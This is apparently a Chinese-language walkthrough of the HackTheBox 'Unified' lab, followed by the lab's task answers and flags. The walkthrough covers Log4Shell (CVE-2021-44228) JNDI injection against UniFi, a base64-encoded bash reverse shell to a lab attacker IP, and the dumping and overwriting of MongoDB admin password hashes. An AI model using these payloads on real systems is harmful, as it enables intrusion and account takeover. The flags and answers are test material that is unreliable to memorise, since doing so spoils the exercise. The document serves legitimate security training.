HackTheBox-Starting Point--Tier 2---Unified

文章目录

• [一 Unified 测试过程](#一 Unified 测试过程)
• • [1.1 打点](#1.1 打点)
  • [1.2 权限获取](#1.2 权限获取)
  • [1.3 权限提升](#1.3 权限提升)
• [二 题目](#二 题目)

---

一 Unified 测试过程

---

1.1 打点

**  1.端口扫描**

nmap -sV -sC 

**  2.访问8080端口**

页面跳转到：https://10.129.96.149:8443/manage/account/login?redirect=%2Fmanage
  观察到版本号为unifi 6.4.54

**  3.搜索Unifi 6.5.54是否存在相关漏洞**

发现Unifi 6.5.54版本存在 CVE-2021-44228

JNDI注入：
${jndi:ldap://10.10.14.20/whatever}"

虽然响应报错，但是${jndi:ldap://10.10.14.35/whatever}"正在执行

---

1.2 权限获取

---

JNDI注入工具地址：https://github.com/welk1n/JNDI-Injection-Exploit

使用JNDI注入工具进行反弹shell：

# shell
bash -i >& /dev/tcp/10.10.14.35/4444 0>&1

# 对shell进行base64编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNS80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}

# 工具执行
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNS80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}" -A "10.10.14.35"

# 攻击机器执行监听
ncat -lnvp 4444

burpsuite执行payload：

获取到shell：

查找user.flag：

---

1.3 权限提升

---

**  1.查看系统运行服务**

# 查看进程，发现mongod
ps

# 运行在27117端口
ps aux | grep mongo

**  2.尝试与mongodb数据库交互**

google搜索UniFi Default Database可以发现，UniFi默认数据库为ace

mongo --port 27117 ace --eval "db.admin.find().forEach(printjson)"

输出可以看出，administrator用户与其他多个用户，密码为hash

**  3.尝试获取administrator用户密码**

# 从$6$可知，密码采用SHA512
$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.

既然无法破解，尝试是否可以使用新密码的sha 512 hash 替换原本的密码，使用mkpasswd工具：

mkpasswd -m sha-512 新密码

mongo --port 27117 ace --eval 'db.admin.update({"_id" : ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$nU10gu5LmDqVlHpK$FcKCyQI/SPV/L6oZEbqOLf1ukIk./E18MRnDLaiDY7PcTn/AF2k9p0C0F6qH1Ys6V30Hxc2.eSIQd.KKmrsNg1"}})'

**  4.使用administrator：Test1234登录网站**

发现存在SSH登录身份验证设置：

**  5.获取到 root：NotACrackablePassword4U2022 使用ssh连接
**

二 题目

---

++Tags++

Web、Vulnerability Assessment、Databases、Injection、Custom Applications、Outdated Software、MongoDB、Java、Reconnaissance、Clear Text Credentials、Default Credentials、Code Injection

译文：漏洞评估、数据库、注入、自定义应用程序、过时软件、MongoDB、Java、侦察、明文凭据、默认凭据、代码注入

++Connect++

To attack the target machine, you must be on the same network.Connect to the Starting Point VPN using one of the following options.
It may take a minute for HTB to recognize your connection.If you don't see an update after 2-3 minutes, refresh the page.

译文：要攻击目标机器，您必须位于同一网络上。使用以下选项之一连接到起点 VPN。
HTB 可能需要一分钟才能识别您的连接。如果 2-3 分钟后没有看到更新，请刷新页面。

++SPAWN MACHINE++

Spawn the target machine and the IP will show here.

译文：生成目标机器，IP 将显示在此处

++TASK 1++

Which are the first four open ports?

译文：前四个开放端口是哪四个？

答：22,6789,8080,8443

++TASK 2++

What is the title of the software that is running running on port 8443?

译文：在端口 8443 上运行的软件的标题是什么？

答：UniFi Network

++TASK 3++

What is the version of the software that is running?

译文：正在运行的软件版本是什么？

答：6.4.54

++TASK 4++

What is the CVE for the identified vulnerability?

译文：已识别漏洞的 CVE 是什么？

答：CVE-2021-44228

++TASK 5++

What protocol does JNDI leverage in the injection?

译文：JNDI在注入中使用什么协议？

答：ldap

++TASK 6++

What tool do we use to intercept the traffic, indicating the attack was successful?

译文：我们用什么工具拦截流量，表明攻击成功？

答：tcpdump

++TASK 7++

What port do we need to inspect intercepted traffic for?

译文：我们需要检查哪个端口的拦截流量？

答：389

++TASK 8++

What port is the MongoDB service running on?

译文：MongoDB 服务运行在哪个端口上？

答：27117

++TASK 9++

What is the default database name for UniFi applications?

译文：UniFi 应用程序的默认数据库名称是什么？

答：ace

++TASK 10++

What is the function we use to enumerate users within the database in MongoDB?

译文：我们用什么函数来枚举MongoDB数据库中的用户？

答：db.admin.find()

++TASK 11++

What is the function we use to update users within the database in MongoDB?

译文：我们用什么函数来更新MongoDB数据库中的用户？

答：db.admin.update()

++TASK 12++

What is the password for the root user?

译文：root 用户的密码是什么？

答：NotACrackablePassword4U2022

++SUBMIT FLAG++

Submit user flag

译文：用户flag

答：6ced1a6a89e666c0620cdb10262ba127

++SUBMIT FLAG++

Submit root flag

译文：提交root flag

答：e50bc93c75b634e4b272d2f771c33681

---